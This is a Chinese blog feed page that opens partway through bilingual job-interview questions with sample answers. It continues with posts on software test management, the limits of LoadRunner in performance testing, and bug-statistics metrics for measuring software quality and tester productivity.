    不要给出具体的时限或工作头衔。谈你喜欢的东西,你天生的技能,实际的问题和在你所选的领域或行业里你希望有什么机会,你希望从那些经验中学点什么。不要谈论你在那些与你所应聘的工作无关的领域或行业里的目标。这是听起来很明显的道理,但是很多求职者会犯这个错误。不经意间你就表现出了对当前的领域或行业缺乏真正的兴趣。不用说,一失言马上就会把你从进一步的考虑中淘汰掉。
    Q: Where do you want to be in five years?
    A: I'd like to have the opportunity to work in a plant as well as at the home office.I also hope to develop my management skills,perhaps by managing a small staff.

    (20):描述你的理想职业
    Q:describe your ideal career. 
    A:Id like to stay in a field related to training no matter what happens.I was too interested in business to work at a university,but I believe that teaching is somehow in my blood.Ive been good at sales because I took the time to educate my clients.Now I look forward to training the new hires.   
    问:描述你的理想职业。
    答:不管发生什么事情,我都愿意在与培训有关的领域里工作。和在大学中教学的工作相比,我还是对商业感兴趣。但我相信从事教育是我的天性,我擅长销售是因为我愿意花时间去教我的客户。现在我热切盼望我能培训那些新招聘进来的人。
    谈及你喜欢的东西,你天生的技能,实际的问题或在这份特定工作或行业里你所期盼的机会,你希望从那些经验里学点什么东西。避免谈具体的时限和工作头衔。

    21):如果你有无限的时间和经济来源
    Q:If you had unlimited time and financial resources,how would you spend them? 
    A:Id love to be able to take several executive seminars on financial management that arent geared toward financial experts.Id also love to be able to shut down my department long enough to send everyone through an Outward Boundtype program.Finally,Id probably travel and look at foreign competitors,and enjoy the food along the way.What would you do?问:如果你有无限的时间和经济来源,你会怎样使用它们呢?
    答:我希望能参加几次不针对金融专家的有关金融管理的行政研讨会。我还希望能让我的部门放长假,把每一个人都派去参加外界的一些活动。最后,我很可能去旅游并考察一下外国竞争者,同时一路享受当地的美食,您呢? 
    虽然娱乐的事情谈起来很有诱惑力,但一定要紧扣工作或与行业相关的事务,或者紧扣与你应聘的这份工作的技能相关的努力上。例如,你正在应聘教书工作,你可能对义务教授成年人读书识字的项目感兴趣。这就证明了你对自己的工作领域的激情,即对教育重要性的一种信仰,即使是作为一种兴趣而毫无报酬都无所谓。
    22):年度总结
    Q:If this were your first annual review with our company, what would I be telling you right now?
    A:Youd be thanking me for a job well done and would be explaining how you look forward to continuing to see good work from me. Furthermore, I would anticipate your explaining how you really appreciated my putting in extra time on some key projects and how my creative thinking helped come up with some innovative solutions to existing problems.
    问:假如现在是你在我们公司做首次年度总结,我该告诉你一些什么呢?
    答:您要感谢我把工作完成得很好,并说明您渴望能够继续看到我工作的好成绩。更重要的是,我希望您能告诉我,您很欣赏我为一些重要项目加班加点工作的行为,还有我富有创造性的思维是如何有助于对存在的问题提出改革方案的。 
    很明显,在回答该问题时,你想给人留下积极的印象。“但愿您能更准时地出现”绝对不是一个好答案。记住,重点谈一两点你个人的优势。
    23):简历以外的东西

    Q:Tell me something about yourself that I didnt know from reading your resume.
    A:You wouldnt know that Ive managed my own small portfolio since I was sixteen,but I believe that its important for you to understand my interest in investment sales. Ive averaged a 12 percent return over the past eight years.
    问:告诉我一些有关你自己的但在你的简历上又没有反映出来的东西。
    答:你可能不知道我16岁就开始管理自己的投资组合,我认为你能理解我对投资销售方面的兴趣是重要的。在过去的8年里我平均每年获得12%的盈利。 
    不要只是重复简历上已有的东西,讲讲那些虽与你过去的从业经验无关但能反映你的个性和经验的独特的天赋或技能。
    24):了解这家公司
    Q:Tell me what you know about this company.
    A:I served as an intern analyst to a restaurant last summer,so I followed all the steakhouse chains closely.What youve done especially well is focus on a limited menu with great consistency among locations;the business traveler trusts your product anywhere in the U.S.Im particularly interested in your real estatefinance group and expansion plans.
    问:告诉我你了解这家公司的什么。
    答:去年夏天我作为一个实习的餐馆分析员与所有牛排连锁店联系密切。   
    你们做得特别好的是集中精力在有限的品种上,使各地能保持高度统一。商业游客都信任你们在美国任一个店的产品。但我特别感兴趣的是你们的不动产资金小组和扩展计划。
    描述你第一次或是近来邂逅该公司或其产品及其服务的情况。是什么促使你想在那里工作而不是在另一家不同的公司里做同样类型的工作呢?招聘者会仔细观察反映你真正兴趣的方面,而不仅是你对该公司所做的一些表面上的调查了解。把公司的年度报告背出来不大可能会给招聘者留下印象,但把来自顾客和员工的一些反馈意见说出来可能会给招聘者留下印象。

    (25):别人那儿了解我们公司的情况
    Q:What have you learned about our company from customers,employees,or others? 
    A:I actually called several of the key accounts mentioned in your brochure.Two of the customers I spoke with explained why they continued to buy from you year after year.Your distribution operation is phenomenal.Are there any service improvements you think could still be made?
    问:你从我们公司的顾客、员工,或者别人那儿了解了我们公司的一些什么情况?
    答:我确实给你们小册子上提到的几个客户打过电话。我与之交谈的顾客中有两人解释了他们为什么年复一年地购买你们的产品。你们的供销运作是很棒的,但还有没有一些可提高的服务项目呢?
    叙述通过你个人与公司代表们的接触后,你的兴趣又是如何增长的。为面试进行而富有创造性地思考。例如,在你面试之前,和一些零售商或公司生产线上别的供销点的工人交谈。他们能告诉你一些什么?给出一到两个你所了解到的例子来解释你为什么对这家公司感兴趣。什么是你可以用来证明你兴趣的最有力的例子?
    (26):为什么你想在这里工作?
    Q:Why do you want to work here? 
    A:I lost a bid several years ago to your company.I realized then that products in the computer industry are becoming increasingly similar.Theyre so similar now,and retail prices are so competitive,that service is the best way for a company to distinguish itself from the competition.This company has the best service record of all its competitors,and I believe it will dominate the business in the long run. 
    问:为什么你想在这里工作?
    答:我几年前就错过了你们公司的一次招标,之后我意识到电脑产品变得越来越相近了,且零售价格的竞争愈趋激烈,以致服务成为了一家公司在竞争中脱颖而出的最好的方法。贵公司在所有的竞争者中享有最好的服务记录,而我相信从长远看,它将主宰这个行业。
    你的准备和调查研究工作应在这里明显表现出来。给出一到两个你对该公司感兴趣的原因,并表明什么最激发你的兴趣。什么是你可以叙述来表明你个人对该公司的认识的最有说服力的事情呢?它的产品还是它的员工?答案包括公司的信誉、对该工作本身的描述,或者是跻身于该企业的欲望。
    (27):有什么特别的方面使你最感兴趣? 
    Q:What particular aspect of the company interests you most?
    A:I am most interested in your Latin American developments.My father was an army officer,so we lived for three years in Latin America.I know youhave just entered joint ventures with two processing companies there.What are your plans for the next few years?
    问:公司有什么特别的方面使你最感兴趣? 
    答:我最感兴趣的是你们公司在拉丁美洲的发展。我父亲是一位军官,所以我们在拉美住了3年。我知道你们刚和那里的两家加工公司合资,接下来几年你们有什么计划呢?
    这是可以展示你对该公司的特定知识的另一个机会。如果你做了适当的调查研究,你回答这个提问是绝对没问题的。

    (28):对我们的产品你有什么见解
    Q:What do you think of our newest product and ads? 
    A:It seems that your new ads are trying to show that breakfast time is family time,with a certain wholesomeness.Are you doing this to balance against the recent bad press about highfat foods,without attacking the issue directly?
    问:对我们最新的产品和广告你有什么见解?
    答:你们的新广告好像是要表明早餐时间是家庭欢聚的时间,带有一定的健康意义。你们这样做是不是要纠正最近有关高脂食物的负面报道,而避免与传媒直接交锋?
    你应该对该公司的新产品和广告运作充分熟悉,从而能对之做有见识的、明智的评价。提供具体的建议和肯定的评价。
    29):我们公司的优点 
    Q:Tell me what you think our distinctive advantage is with in the industry. 
    A:With your lowcostproducer status and headquarters operation in a low cost area of the country,you seem in a better position to be able to spend aggressively on R&D,even in a down year,compared to your closest rival.
    问:告诉我你认为我们公司在业内有什么突出的优点?
    答:以你们的低价策略和总部设在低消费区的运作,即使是在不景气的年份,相对实力和你们最相当的竞争对手而言,你们也还是处于有利地位。
    描述你认为公司做得非常好的事情,尤其是相对其竞争力而言。解释经济实力对一个公司来说是何等的重要。
    30):哪些领域最易受攻击?
    Q:Where do you think were the most vulnerable as a business?  A:Your cash position and strong product presence make you an attractive target for a takeover. Thats my only major comcern. Ihave already worked for one organization that merged with another,but I also know I can weather the storm.
    问:作为一家企业,你认为我们哪些领域最易受攻击?
    答:你们的现金状况和强大的生产阵容使你们成了一个吸引人的收购目标。这是我惟一最担心的事情。我曾为一家与别的企业合并的机构工作过,但我知道我能安然渡过风暴。
    公司与其竞争对手相比做得不够的地方。解释经济实力对于一个公司来说是何等的重要,如果你热衷该企业,那么你对该工作的前景很可能早就胸有成竹了






















  • 软件测试管理的基本要素

    yxs2008 发布于 2009-05-31 14:58:32

      高效的软件测试管理是一个项目成功必不可少的人文因素。测试是以技术为导向的专业工作,但是因为其在软件开发过程中的特殊位置,所以工作过程中需要有效的沟通,协调来作为保障。我们通常把这些沟通,协调各计划工作统一称为软件测试管理。本文将就软件测试管理中的基本要素做逐一介绍:

      1.符合软件开发计划时间框架的软件测试计划

      软件测试计划是一个老生常谈的问题了,不同的人对计划的理解往往是大相径庭的。这里让我们回顾一下何为计划,一般来说计划的目的是用来识别任务,分析风险,规划资源和确定进度。从计划的定义上业看,计划美工不是一张时间进度表,而是一个动态的过程,最终以系列文档的形式确定下来。拟定软件测试计划需要测试项目管理人员的积极参与,这是因为主项目计划已经确定了整体项目的一个时间框架,软件测试作为阶段工作必须服从时间和资源上的约定。

      2.一个完整的测试计划应该包含以下几个方面:

      (1)对测试范围的界定,简单的说就是测试活动需要覆盖的范围。在有时间约束,工作产品质量约束的情况下,唯一能够调整就是范围。在实际的工作中,我们总是不自觉的在调整软件测试范围,比如在时间紧张的情况下,通常优先完成重要功能的测试。这就是一种测试范围上调整。所以作为测试管理者在接收到一项任务的时候,需要根据主项目计划的时间来确定测试范围。如果在确定范围上出现偏差,会给测试执行工作带来消极的影响,例如加班。确定范围前需要管理人员来进行任务的划分,简单的说就是分解测试任务。分解任务有两个方面的目的,一个是识别子任务,二是方便估算资源的需求。完成了上述的任务之后,管理者便需要根据项目的历史数据估算出完成这些子任务一共需要消耗的时间和资源。通常意义上说,执行一次完整的全面测试几乎是不可能的事情,我们总是要在测试的范围上面做出有策略的妥协。 

      (2) 风险的确定,项目中总是有不确定的因素。这些因素一旦发生之后记录对项目的顺利执行产生相当大的消极影响。所以在项目中,首先需要识别出存在的风险。风险识别的原则可以有很多,常见的一种就是如果一件事情发生后,会对项目的进度产生较大影响,那么就可以把该事件做为一个风险。风险识别出之后,管理者需要按照这些风险制定出规避风险的方法。在小的项目中,识别风险和制定规避方法可以省略。 

      (3) 资源的规划,确定完成任务需要消耗的人力资源,物资资源。这些是保证项目执行的物资要素。物资资源是管理者容易忽略的问题,实际上物资资源是人得以开展工作的工具,细致的规划可以让人更有效的去执行项目。常见的物资资源有计算机硬件,软件,测试环境的搭建等等。 

      (4) 时间表的制定,在识别出子任务和资源之后,我们便可以将任务,资源和时间关联起来形成时间进度表。本质上说,时间表是对前3项任务的一个概括。没有前三步的工作,时间进度表是没有意义的。 

      3. 沟通 

      沟通的测试管理人员的必须的技能。虽然我们制定出详细的项目计划,当这不意味着有了这个契约之后,项目中的各种角色就不需要沟通了。做为测试的管理者,需要将测试发现的问题及时的反馈给开发人员,同时也要积极的去了解外界产生的变更。项目中存在变化是普遍现象,而作为管理者就是要去管理这里变化,及时的修订计划。严格的说,如果没有这些变化,做为测试管理者的你就没有多少存在的价值。有些人认为一旦有了计划这个契约之后,只要按照要求去执行就可以,但是项目本身是一个动态的过程,计划是项目在某一个时刻、段的静态体现,所以要按照发展的眼光来对待计划。沟通是了解外界变化的积极手段,所以就测试管理者而言。其计划沟通能力的要求要高于测试技能的要求。

        4. 执行 

      去年国内流行一本书,名称为执行力。书中的作者认为大多数项目没有成功的原因在于执行。软件测试也存在一个执行的能力问题,有人会说我把要求的事情按照要求做完了不就可以了吗? 的确,按照期望去执行任务是正解,但是这里有一个问题就是如何保证执行者对期望的理解同要求者的期望是完全一致的呢?所以执行的背后还是一个沟通的问题,这里的沟通是测试管理者和执行者之间的沟通。所以作为一名测试管理人员一定要在测试工程师开始工作之前明确任务的意图,前提和结果。 

      5. 版本控制 

      前面说道的几点都是过程,个人技能方面的要求。这里我们要讨论的是纯粹的工程活动——版本控制。对于版本控制这个概念大家都不陌生,它是软件配置管理的初期表现形式,来于于测试对稳定环境的要求。测试版本控制简单的说就是测试版本有明确的标识,说明。并且测试版本的交付是在项目管理人员的控制之下的。 

      测试版本的标识用来识别所用的版本。版本号码的用处很多,例如在填写错误报告的时候往往需要提供发现错误的那个版本。在做缺陷分析时,我们可以利用版本号来区别缺陷和判断缺陷的发展趋势。 

      测试版本的说明,它是开发人员和测试人员之间交流的有效形式。测试人员可以通过这份文档了解到当前的测试版本中就上一版本而言有那些显著的变化,明确了这些之后,测试人员可以更加高效,有针对性的执行测试。 

      测试版本交付,测试版本的控制必须纳于测试管理人员的控制之下。常见的形式就是测试管理者控制测试版本的更新和发布。开发人员在看到错误报告之后,总是倾向于马上修正这些错误并且发布给测试工程师做验证。 

      考虑到大多数的开发人员是典型的完美主义者,这样的做法无可厚非,但是过于频繁的版本更新会较低测试的效率。试想,如果你是一名测试工程师,当测试用例刚刚执行到一半的时候突然发布出一个新的测试版本,在这样的情况下,已经执行完毕的测试用例是否还需要再次执行一遍呢? 为了规避修改代码带来的副作用,我们有必要执行回归测试。质量是有保证了,但是效率较低了。测试在进度上被迫延迟了。所以测试版本的控制有助于保证进度和测试的效率。 

      以上是测试管理中需要注意的几个要点,构成一个成功的软件测试项目还有其他很多重要的因素,例如测试人员的个人能力,管理者的综合素质,公司的开发过程等等. 

  • 让LoadRunner再次走下神坛-Zee

    Zee 发布于 2009-05-21 12:41:11

    转载请注明原文出处:

    原文:
    http://www.7dtest.com/bbs/thread-1952-1-1.html
    测试7刊-7点测试论坛出品-第六期


    记:04年八年写了《让LoadRunner走下神坛》(详见八年的网站:www.cesoo.com),那时我还在大学时梦想着能做一个网络安全专家,还不知道有LoadRunner这个工具,也不知道有软件测试这个行业。

    这几天碰到这么几件事情,觉得挺有意思的:
    1.        有个朋友问了我一个问题:LoadRunner的缺点在哪?然后我反问她:LoadRunner的优点在哪?她一时语塞,后来说:感觉都是优点没有什么缺点呀?
    2.        一个网友跟我说:我觉得会用LoadRunner的人很强。我说:LoadRunner只是一个工具,并且功能也很有限。

    对于大部分测试人员来说,学习从工具入手都不是坏事,但是过于在意工具肯定是件坏事,也许我们经常从工作几年人的嘴里听说过这样的话:工具仅仅是工具而已,主要是思路。这种话让我们有种忽悠的感觉。下面正面谈一下LoadRunner。

    1.        LoadRunner 阻碍了性能测试人员对通信过程的理解
    我希望做性能测试的人能忘掉这个工具。我们都知道VuGen有录制的功能,其实录制这个功能对于测试来说是个非常不好的选择,就是跟后面的场景执行带来很多的不定的因素。因为一些人对脚本的 不理解,或者说根本就不知道脚本是什么意思,导致了出现一些性能问题的时候,束手无策。也不知道如何去查找原因。所以我觉得性能测试人员手写脚本是最好的 选择,但是难道录制功能就不可用吗?当然不是这样,不过如果录,就一定要知道脚本中各个函数的含义,要彻底明白这些函数想完成什么功能,能实现什么,不能 实现什么。这样才能在出现某些问题时,知道如何去解决。并且问题的解决过程要依赖其他的知识,并不是会了LR,找了帮助,就可以解决得了的。所以依赖工具 要有个度,不然做的性能测试也不可信。
    我们都知道LR支持了很多网络协议,并且根据这些具体网络协议衍生出各自的专用语言,这个应该是它最大的优点了,但是LR也并不是对这些它声明了支持的语 言都支持的很好的。我们知道在8.0版本的时候,LR里面就已经有了Java ajax的协议,但是如果不修改配置文件是不显示出来的。那到现在9.5的版本,早已经把这个协议公开出来了,但是用这个协议还是感觉遇到很多这样那样的 问题。同样,其他有些协议也是这样。会用工具,和会做性能测试,绝对是两回事,所以不要太依赖LR。我们都知道Mercury提出了BTO的概念,所以很 多LR里的概念设计也是从business的角度来解释的。做测试的专业人员,要了解它的这些概念和我们具体的环境之间的关系,否则只能照搬照套。所以也 可以这么说,LR的重点在于对协议的掌握程度,不一定都会,但是要特别精通某些一些跟自己测试密切相关的。其实我们的测试人员很多都不太了解上述的 ajax架构,所以即使做了性能测试也是“止于外表,不及其里”,那么就浪费资源了。
    再说一点,LR对数据库的支持。一直以来,我们知道,在LR里要想直接面对数据库测试,是比较麻烦的(相对http协议来说)。前几天,看了一下其他的工 具,有些工具中把和数据库通信做成了相应的模块,操作起来,很简单,需要编写的代码也比较少。这样的功能就比LR中做的要好。但是我们也要理解,LR是 BTO概念下的产品。值得注意的是,开发很多都会用到类映射数据的模式进行相应表操作(例如hibernate),这样在性能测试的时候需要特别注意对应 用服务器的进程设置,也许会出现这样的场景,数据库服务器无压力,应用服务器已经提前“阵亡”了。

    2.        LoadRunner简化了性能测试过程
    从Mercury的性能测试执行流中可以看到,它分成了这么几个部分:计划测试、创建脚本、创建场景、执行场景、分析结果。这种分法,可以说代表了性能测 试过程中的主要部分。但是这个过程也会导致结果混乱。首先,性能测试需要调研,并且需要调研的很细,可能在大部分的公司里都没有做到这样,但是,这不能说 明调研这部分是可以忽略的。我们经常会遇到性能测试做完了,还在讨论性 能测试需求的现象。这对于我们来说不能不说是难受的事情。还有建模,LR的方法论和执行流中都没有提到建模这一过程,而在实际的应用环境中,我们还是要考 虑这一过程,只有这一过程才是场景设置的前提。应该说,在LR中做不到建模,但是应该在执行流和方法论中提到它。在一个完整的性能测试过程中,还有很多的 管理上的因素制约,当然,这个不能依赖工具。我们后面再谈相关的问题。
    在LR的市场如此强大之下,我觉得应该只考虑到它是一个工具,而不是可以完成性能测试整个过程中的事情的万能产品。我在遇到很多初学性能测试和已经做过一 段时间的性能测试的朋友,经常被问到类似这样的一些问题:我会用LR了,我可以做性能测试了?我们公司有LR了,我们可以推广性能测试了吗?或者更严重 的,有了LR,性能测试就有了保障的感觉。它并不是尚方宝剑,我们拿了谁都能砍。实际上,知道如何砍或者怎么砍才是最重要的,竹叶也是利器。
    我碰到过好几次这样的现象,客户认为给了两天的时间或者一天时间就可以把一个性能测试做完了,因为你用的是工具,并且它又能自动生成结果。而往往,一个非 常非常熟悉工具的人,对过程和结果的分析都不是很清楚。并且写报告时也只能描述表面的现象。这样的性能测试只能说有个警示的作用,对实际的系统质量提升意 义都不大。有一个80年代就开始写程序的同事说:“这种性能测试方式,对系统质量一点都起不到保障作用,只是忽悠客户。”并且系统级别的性能测试已经不可 能从大局上去改变什么了,只能寻找一下系统的缺陷,也谈不到对调优有什么建设性的指导意义。而LR的设计主要还是面对系统级的性能测试,所以我们使用它, 要了解它能给我们带来什么。也许有人要钻牛角尖,我就用它来做更细的代码和集成的性能测试不可以吗?也不能说完全不能,用牛刀杀鸡也是行的,就是挥着过 重,搞不好鸡没杀好反而平添肩周炎。

    3.        LoadRunner的监控弱点
    前几天被问到LR对数据库和应用服务器的监控问题,我一直在建议他们用其他的工具去做。因为LR的监控只是一个壳子,并且个人认为,是个效率不是很高的壳子。就拿对oracle的监控来说,我们都知道LR在连接了oracle之后,会有两个表可以选择,里面有很多的计数器,对性能测试工程师来说,选择什么计数器,都是很为难的事情,因为不知道这些计数器是什么意思。所以大部分情况下,我们看到一些人的推荐就 是选择默认的那些(在help里有一些说明)。如果我们遇到的问题正好在我们选择的那几个计数器里有体现,还真是太幸运了。不过这种现象就像走在路上捡了 一百块钱一样不稳定。所以我们还要反复的去执行场景以判断问题出现的瓶颈。这对我们性能测试来说是很痛苦的事情。因为有些场景可以执行了好几个小时,好几 天,甚至一周时间。监控Weblogic也是一样,我宁可肯定用WebLogic Scripting Tool去写脚本监控,也不是很推荐用LR的监控功能。就算排除工具之间的兼容性不说,我觉得LR做到的监控也比性能测试过程中想达到的效率要差不少。当然,有些商业工具已经做的相当好了,并且资源占用还可以接受。对unix的监控也是这样,我们如果用LR来做,可能不知道什么时候,RPC就倒塌了。我们不得不重头再来,这一点对我们长时间的场景执行来说,都是致命的伤害。用LR监控unix,尽量的可不用就不用。用nmon或者使用UNIX自带的性能监视工具都可,什么top啊glance啊有的咱们都上,不过最后提醒一句,它们的运行也都是需要申请主机资源的。
    因为很多人喜欢在一个结果里看到所有的数据,目的是为了保证数据的同步性,所以不遗余力的在LR中完成这样那样的监控功能。但是不管数据在结果中有多全, 对结果的分析还是要靠 自己敏锐的嗅觉和丰富的经验,并且,LR中实现的这样的监控点其实效率并不高,所以我推荐的是,用最少的资源做最多的事情。不要太依赖某个工具。我现在的 工作中,做一次完整的性能测试,都会用到很多个工具,组合这些工具的结果,一起分析。并且有些功能的实时查看功能要比LR强很多。再加上,LR的结果直接 生成的报告,也不可能做为我们的最终报告来用,所以让所有的数据都在分析器里的做法,只具有无意义的个人完善感,对实际的结果意义不大。

    4.        LR是个前端工具
    (这里说的前端工具,不是指页面的展现,而是为了强调在一个应用中LR工具所在的位置)
    通常情况下,在LR中能够体现出来的问题,已经是经过了系统中一系列的处理之后抛到LR上的,所以,我们再讨论LR的某个错误代号和打印出来的那一串串红 色的字符串已经没有实质的意义了。还需要进一步去分析应用的整个通信过程,才能找到最终问题本质。例如某些程序员喜欢把原始SQL语句直接写到代码中,几 百万行你哪里找得到?性能出来了就很难看, LR肯定会告诉你机器IO吞吐的厉害,再细分原因就啥都没有了,与其这样还不如自己写性能分析器呢。就像昨天刚给一个朋友解决的一个思考时间放到for循 环内部和外部就出现不同的错误一样,如果仅仅看LR,肯定只能描述这个问题的现象,而找不到问题的原因。
    在LR的场景执行过程中,所有的默认获取的数据,都是从LR这个工具本身得到的,也就是说这些数据,都不能直接反应服务器的性能状况。我们分析这些数据的 时候,一定要给出相应的服务器端的数据,以证明我们的这个数据是有意义的。单独说TPS有多少,响应时间有多大,吞吐量有多高,一点意义都没有。因为这些 数据是有前提的,而这些前提,LR都提供不了。
    当然,所有的压力产生的工具,也都是前端工具。把它单独拎出来说的原因是要说明,性能测试并不是一个前端工具,可以做得完的。它只能是一个承载现象的工具。真正要做的还是后面的分析。

    5.        关于分析和调优
    在分析这一块,analysis还是给出了不少好用的工具的,当然这些工具对数据的处理,也是有一定的原因和规律的。我们还要了解到这些,才能对一个结果 做非常完善的分析。就拿一个简单的例子来说,LR中提供的响应时间在summary里为什么是最大、最小、平均、标准方差、90%这几个值?我们要了解这 些的原因,再去做详细的分析,从而可以完善的对前端的数据做分析了。但是这些分析,都不能成为报告中的关键数据,因为还需要对一个系统的所有层面做分析才 能在报告中写上有建议性意义的部分。我们做性能测试,不能说,可能是什么原因引起了什么问题,我经常看到这样的报告。这样的报告,如果是写给我看的话,我 肯定是打回去重写。我们面对客户的时候,也会出现这样的问题,前一阵子刚做了一个项目,另一个同事写的报告,就让我从头到尾的改了一遍,因为原来的报告中 只是数据的罗列。
    相对来说,LR在罗列数据这一块,做的还是最好的。但是,LR不会告诉你你测试的结果怎么样,当然你可以设置SLA,但是也没有什么用,因为这个设置是在 你知道你的目标的前提下,这里仅是拿SLA和测试结果做个对比,以供写报告时好看而已。当然分析数据中包括DB、APP、Middleware等等的数据 时,我们还要查看相应的监控结果。分析是一个顺藤摸瓜的过程,千万不能断,断了就只能描述过程,而得不到结果了。上面说监控时,我强调的是用一些厂商自己 的监控功能,这时就会有非常好的效果了。我们不能让LR告诉我们Top 5 of SQL,但是Statspack可以告诉我们。其他的监控工具类似。所以如果你想做好分析,还是用更好的监控工具,这里言下之意就是:LR在很多方面都不 是最好的监控工具。
    调优,同样,LR绝对做不到调优,因为它连分析都做不到。只有靠我们自己顺着藤摸到了瓜之后,再想办法把它摘下来。如果这个过程中用LR的监控功能,很容易断线,所以调优靠这些数据,会更累。

    6.         软件性能工程
    前几天,我在修改自己的7点测试论坛中的性能分区名称的时候,一直想不起来给性能测试这个大分区取一个合适的名字。最后终于定位到一个词:软件性能工程。
    在每一个软件性能测试项目中,这都是一个工程,工程就要有角色划分,有职责划分,有时间进度控制,有风险控制,等等内容。而这些都不是一个工具可以代表 的,管中窥豹,永远不知道它长什么样子。我们也不能拿着LR到处去说,我可以做性能测试。而在整个软件性能工程中,我们要做的更多的是管理和控制的工作, 这些才是我们性能测试关注的重点。一上来就拿着LR录制脚本加压的性能测试工程师,我认为肯定不是好的性能测试工程师。但是每个人都要从拿着工具去录制脚 本加压这个过程认认真真的学习过来。也要对每一个操作和步骤认真的思考和理解,以完善对软件性能工程的认识。也许有一天性能测试版块里能加入一些真正的系 统专家,那确实是性能测试领域之福了。
    软件性能工程,是一个完善的整体的概念,需要有大局观的认识。要从需要到最后的产品交付的每个阶段去关注性能(这里不包括运维的阶段),也要明确的知道性 能测试所占的整个软件性能工程的位置。从框架设计、模块设计、数据库设计,编码都要关注性能,往往发现性能瓶颈后,由于整个系统设计上的问题,无法改变, 所以性能无法调优,只能起到评价的作用。在这样的时候,即使性能测试人员能力再强,也翻不出什么花样来。
    另外,软件性能工程是需要配合的,并不是一个拿着工具的性能测试工程师可以完成的事情,上面已经说到工程要有角色划分、职责划分,那我们的软件性能工程需 要什么?软件性能工程需要的是:操作系统人员、数据库人员、网络人员、中间件人员、应用服务器人员等等的配合,这一过程中,哪里有了问题, 就需要相应的人去检查原因和解决问题。而有些公司和客户认为一个或几个会工具的性能测试工程师就能完成一个完整的性能工程,我只能说,这些人都是全才(这 样的人应该很值钱)。应用测试知识和技术手段,在多角色相互配合之下,使得软件性能工程实施起来更具有可操作性,一个软件系统的性能才能更有保障。

    仅以此文,记录我所理解的的性能测试和LoadRunner之间的关系。
  • 量化软件品质的方法

    himily 发布于 2009-05-18 20:39:14

     
    量化评估,最重要的一点是经验。同时科能需要大量统计工作作为铺垫。
    下面我主要从bug统计来说一下我转载来的经验。

    1。测试项目数和摘出bug数预测
        一般来说我们可以根据软件代码行数来粗略估计一个产品可能包含的bug数目和需要的测试项目。现在有些公司流行每千行bug数的标准来制定测试计划,这个标准是通过以往测试经验总结出来的,一般来说,同类的产品,尤其是同一个开发流程的产品,这些数值不应该相差太多,如果相差一个数量级以上,我们几乎可以说,要么是QA出问题了,要么是开发出问题了。

    2。测试bug分级
        使用bugzilla或者Jira之类的
    缺陷管理系统何以很容易的实现bug分级,一般至少有Fatal, Major, Minor, cosmatic这几种,还有一种特殊的叫做blocker,意思是这个bug会影响测试进度。产品发布前,可以根据实际情况,定一个界限级别,比如要求新出Major为0,并且所有已有的Major全部close等等。

    3。测试bug收敛
        量化评估必不可少的是bug收敛,这个要通过统计每日新出bug并跟踪已有bug制作收敛曲线来实现。收敛曲线的形状发散表明目前产品极其不稳定,收敛曲线开始收敛表示目前产品趋于稳定,完全收敛之后可以认为是发布的时机。

    4。测试bug分布
         bug分布是决定下面测试重点的一个重要的参考数据。首先还是需要统计,找出所有已有的不同级别的bug在各个模块的分布,假如ABC三个模块,A模块bug数目占了总数的60%而且Fatal居多,C模块占了bug的8%那么,我们可以得出这样的结论,软件的不稳定瓶颈在于A模块,是一个薄弱点,需要开发人员集中力量对应。但是C模块也是一个可疑模块,因为出现bug率太低,如果不是开发的太好就是测试方法不当。

    5。测试bug的周期
         一个bug的生命历程是一个完整的轮回,从他出生(open)开始,到调查(Accept)到修复(Fix),再到确认(Verify)是最简单的路线,这个周期越短,说明项目进展越顺利反之则意味着项目进度目前有很大的阻碍。

    6。降级bug数
        降级bug的多少对于软件质量评估也是一个重要参考标准,降级bug也就是由于修正一个bug又作了一个新bug,降级bug数目过多意味着现在的产品在越修越坏。

    一个新的QA团队,在2,3,4,5,6步骤可能会有所迷惑,不知道阈值应该怎样选但如果每次都坚持这样做,很多次之后2,3,4,5,6会给这个团队大量的经验积累,完全可以做到看着统计图估计出一个产品处于什么状态,需要加强哪些方面等等。

    软件测试人员的量化管理

    在项目中,测试人员考核往往成为项目经理和测试经理的一个难题,项目组测试人员考核主要包括工作效率和工作质量两大块,工作效率用于考察活动,而工作质量用于考察产出物质量。按照传统测试周期,测试过程分为:测试计划、测试设计和测试执行三个方面进行。测试计划属于测试经理的范畴,测试人员主要是测试设计和测试执行,测试经理的考核可包含在测试人员的考核内,当然,这部分考核也可以纳入项目组中进行。考核指标如下:  一、测试设计
      1、工作效率相关指标
      (1)文档产出率:这项指标值主要为测试用例文档页数除于编写文档的有效时间获得。用于考察测试人员测试用例文档的生产率大小。
      公式:∑测试用例文档页数(页) / ∑编写测试用例文档有效时间(小时)
      参考指标:根据项目汇总得出平均在 1.14 页 / 小时左右,高于此值为优,低于此值为差。
      (2)用例产出率:这项指标值主要为上述指标值的补充,用于考察测试人员测试用例产出率大小。测试文档页数可能包含的冗余信息较多,因此要查看文档中测试用例的多少。方法是测试用例文档中测试用例编号总和数除于编写文档的有效时间。
      公式:∑测试用例数(个) / ∑编写测试用例文档有效时间(小时)
      参考指标:平均 4.21 个用例 / 小时
      2、工作质量相关指标
      (1)需求覆盖率:计算测试用例总数之和除于与之一一对应的功能点数之和,主要查看是否有功能点遗漏测试的情况。
      公式:∑测试用例数(个) / ∑功能点(个)
      参考指标: 100 %。如果连功能指标都不能满足 100 %覆盖,起码说明测试不充分。这个指标收集起来相当困难,如果存在需求跟踪矩阵或者测试管理工具能把用例与需求一一对应就容易得多。
      (2)文档质量:测试用例进行评审和同行评审发现的缺陷数,或者将此缺陷数除于文档页数算出比率。此指标考察测试人员文档编写的质量如何。
      公式:∑缺陷数(评审和同行评审)(个)
      ∑缺陷数(评审和同行评审)(个) / ∑测试用例文档页数(页)
      参考指标:由于评审是发现的缺陷数是不固定的,因此,这个指标没有可供参考的数值。如果缺陷数大小不能直接用于比较就使用缺陷 / 页方式进行横向对比。
      (3)文档有效率:使用测试用例文档进行测试时发现的系统测试缺陷数除于此文档页数。用于考察文档是由有效的指导了测试工作。
      公式:∑缺陷数(系统测试)(个) / ∑测试用例文档页数(页)
      参考指标:平均 2.18 个缺陷 / 页
      注意:如果存在测试人员在测试时创建新文档用于辅助测试时应包含这一部分。
      (4)用例有效率:使用测试用例发现的全部缺陷除于测试用例数总和。这一指标是上一指标的补充指标,用于考察用例质量是否较高
      公式:∑缺陷数(系统测试)(个) / ∑测试用例数(个)
      参考指标:平均 0.59 个缺陷 / 用例,也就是说,每执行两个用例才得到 1 个缺陷,各工程有所不同,可以自己实践一下。
  • Bug的统计分析

    himily 发布于 2009-05-18 20:39:14

